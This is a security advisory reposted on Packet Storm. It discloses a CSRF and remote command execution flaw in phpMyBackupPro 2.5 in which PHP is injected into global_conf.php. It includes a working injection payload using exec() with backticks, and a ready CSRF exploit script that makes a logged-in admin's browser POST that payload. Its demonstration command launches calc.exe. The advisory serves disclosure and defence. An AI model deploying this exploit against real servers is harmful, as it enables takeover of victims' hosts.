what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpMyBackupPro 2.5 CSRF / Remote Command Execution

phpMyBackupPro 2.5 CSRF / Remote Command Execution
Posted Feb 16, 2016
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

phpMyBackupPro version 2.5 suffers from remote command execution and cross site request forgery vulnerabilities.

tags | exploit, remote, vulnerability, csrf
SHA-256 | 15b9107732b5558a738085c34214eff5335f320ba47d355c47d18884606d6f5d

phpMyBackupPro 2.5 CSRF / Remote Command Execution

Change Mirror Download
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/PHPMYBACKUPPRO-v2.5-RCE.txt



Vendor:
=============================
www.phpmybackuppro.net

project site:
sourceforge.net/projects/phpmybackup/



Product:
===========================
phpMyBackupPro v.2.5 (PMBP)

phpMyBackup Pro is a very easy to use, free, web-based MySQL backup
application, licensed under the GNU GPL.
You can create scheduled backups, manage and restore them, download or
email them and a lot more.



Vulnerability Type:
=========================
Remote Command Execution / CSRF



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

phpMyBackupPro uses PHP configuration files (global_conf.php) to manage
settings, allowing user to change things like sql host, language, email
etc..
However, a malicious local user can also inject persistent arbitrary PHP/OS
commands into the configuration to be executed on the host system.
The remote command execution can also be a result of a CSRF driveby by if
currently logged admin visits an attackers webpage.

Attackers can inject and write to disk arbitrary PHP code into the
global_conf.php configuration file if a victim visits a malicious webpage
or clicks an
infected link via a CSRF vector or additionally from a local malicious user
in shared host type environment.

first we escape the single quotes etc... so we can close the expected
entry, then we leverage the backtick "`" operator to have PHP execute OS
commands
on victims system as it works just as well without having to deal with all
the quote escaping.

e.g. payload that handles the single "'" quote an forward slashes "/"...

''///\\');exec(`c:/\Windows/\system32/\calc.exe`); ///\';


The above when injected will result in a write to $CONF variables in
global_conf.php as follows...

$CONF['lang']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`);
///\';');

OR...

$CONF['email']=ue('\'\'///\\');exec(`c:/Windows/system32/calc.exe`);
///\';');



Exploit code(s):
===============

Send admin infected link or convince them to visit our malicious webpage,
then if the user is logged in and...
a) clicks our link or visits our evil webpage or
b) submits the form locally (malicious user) then BOOOOOOOOOOOM!


Exploit to run calc.exe on Windows

<script>
var c=0;
(function RCE_MAYHEM(){
c++
var xhr=new XMLHttpRequest()
xhr.open('POST','
http://localhost/phpMyBackupPro-2.5/phpMyBackupPro-2.5/config.php',true)
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send("sitename=localhost&lang=''///\\');exec(`c:/\Windows/\system32/\calc.exe`);
///\';&sql_host=localhost&sql_user=&sql_passwd=&sql_db=&ftp_server=
hyp3rlinx.altervista.org
&ftp_user=hyp3rlinx&ftp_passwd=&ftp_path=&ftp_pasv=1&ftp_port=666&ftp_del=1&email_use=1&email=&submit=Save+data")
if(c<2){
RCE_MAYHEM()
}
})()
</script>



Disclosure Timeline:
=====================================
Vendor Notification: NR
February 16, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
================
High



Description:
=============================================================

Request Method(s): [+] POST


Vulnerable Product: [+] phpMyBackupPro v.2.5 (PMBP)


Vulnerable Parameter(s): [+] $CONF

============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close